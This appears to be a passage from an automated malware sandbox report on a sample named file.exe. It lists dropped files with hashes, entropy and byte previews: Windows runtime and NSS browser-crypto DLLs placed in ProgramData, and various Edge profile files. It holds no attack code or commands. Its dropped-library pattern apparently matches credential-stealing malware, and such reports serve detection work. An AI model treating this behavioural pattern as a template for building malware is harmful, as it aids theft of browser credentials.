Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\17af10ab-15da-402a-8fb1-b97fd0a68ad9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46296
Entropy (8bit):	6.086574633381972
Encrypted:	false
SSDEEP:	768:lHMkbJrT8IeQcrQgRajuKKGf4m+ummo3F3PdEAgl7YEnn6CioJ7DRo+yM/42cRaX:1Mk1rT8HxaV+xkl1n6FoJ7VLyMV/Yoss
MD5:	53906C6E313E1DD88A4845D170F620BF
SHA1:	28EB77E2382DD30C3A39C1F459D4F00A5C0E3ADB
SHA-256:	06BD4BC046049BF70869295F50277B362CC8150DCE1F1B68F725C431509BD524
SHA-512:	088CD333CC0EB57CD4C9AA9EB64C224475EBC6FE68044AB44AB9F4F59D26D4FA4E5B534115105206FE1CC2F608733886763169F4B8EDA77E249351FE35D00213
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b02129a7-19fb-4ae2-afcd-35a718bf62ce"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732140765"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1a2248f8-51cb-4f65-a4b1-c95ed0de34a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44703
Entropy (8bit):	6.094924630312987
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kvFKKGf4m+um3Flud/oZBN7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7yn6+xrN7VLyMV/YoskFoz
MD5:	C1FC2FEF80F932E77AAC7C7D1545AB8D
SHA1:	2F57A21CA727BFFD83AC950677C96B474847ACD3
SHA-256:	5D6B6DB32251322D69D1316909C3B3D779CC7A13D949DECD09B3A941AC710C6A
SHA-512:	0435A115F7ABA4754550C4054FF9EF2820284F41E96FAC7D6D9328595A0D1FF37B28000B8BED39E8A51942EC9BC75FE6FAB2E0E27173DDBD1F88B83DFF7739CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\73ab8156-c481-4037-b048-76cec3679d94.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44781
Entropy (8bit):	6.0949069002373095
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x0FKKGf4m+umFo3F3PdEAgN7DRo+yM/42cRaLMoskCH:z/Ps+wsI7yOd+xrN7VLyMV/YoskFoz
MD5:	144586BCEF5E1F91F4B5FA06866E8C91
SHA1:	22092121E3A0341DF2AE60D0CA069D62D0C62EF3
SHA-256:	B7A8F1ED34DA3C5A724DDA0E933B47FA3FB05A154F1CB9763FD9CBA6CD9CA87C
SHA-512:	EDF0C932A8143A91DC30AFC6537780EDA54757378D4156D9019FE1D8CB7E18210521D0A1D08CBA89D462F28D678A0DA33BC36857AD55DE603DC0AE5C7BB48437
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9402e034-16f6-46c3-b2cf-78d8c28312ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\b5602f85-ebe3-4bb2-a52b-29015303af4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673E5ED7-1B70.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04758341688001007
Encrypted:	false
SSDEEP:	192:ORV0m5tm6nOAUJuTJ/EdxeQR0JVFg8X3zIHhEHlH4jhWhNgv+RQ8TwrRIn8y08TQ:CV0UtdXt6XHhOsmg9I08T2RGOD
MD5:	D7AF094657F28ACA0EE8603F921E5FDD
SHA1:	2D7F99DFB2B5E42EAB37BAAAA69D66217A7C5E59
SHA-256:	5EE717C40E3D5350377081DADB075A16312BA800B9185C6423E7F017A991606F
SHA-512:	1F3C1407FCA9A9087391CFAB70D0256685966392C2D0AD7934442419CE0A40B3AA08743E6C69CA6295A4F15A927B386D8D21774C38D81C8968282086C5EDC56F
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".dthlus20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2......._...... .2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673E5ED8-1418.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45710045166984403
Encrypted:	false
SSDEEP:	3072:DoWB7ZobUWF0WJf4SpAs6kcJ/+zmbc5+bXg61dZYeIqXBzTg1HFJ4lmX:LB7B/SpALkcJbIAP18eIqXBfaHz4lmX
MD5:	71845FC788A62A933469B7B396D66785
SHA1:	212CD91422EBCE96088CA4EE62052E0FD4119769
SHA-256:	79D72AA41BF244F7D930B4BFAD386E2FF4119C695B80AEB97C5E4FCE60697DB4
SHA-512:	3A27D5A9A647023C73190F9D3CC486FD518407F153514DEAE6ED2AAB493BF6AAF771FB98128B9922A884956914BF7BA9F01C3B547525EDAD4F04124160BEFCED
Malicious:	false
Preview:	...@..@...@.....C.].....@...............`...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".dthlus20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.............. .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c3f5248-cb59-400b-8bec-b2d452e16910.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17075), with no line terminators
Category:	dropped
Size (bytes):	17077
Entropy (8bit):	5.4929202420017305
Encrypted:	false
SSDEEP:	384:st7LPGQSu4zsGytJrAI9wkwHMRobGBQwY:sROXu2ycbGyP
MD5:	42C605B63C32AF5AACF7DF68157E1136
SHA1:	B763938C1EBE2E4651C7753ECBF337DF7D635154
SHA-256:	36A61717160CE6CF7AA0CCE1E6B1DB8FF87A8441FA7E3E8EB6FE95B25B58BEAE
SHA-512:	FB9F1CA717C7E82C6EAE61A78237FAFF5C27C7DD6632452F052719A3DBD934B4B1CD6D37411E3B66F5746DD012262C9C71C48041C8ADF401B4253D684DEB7A1B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
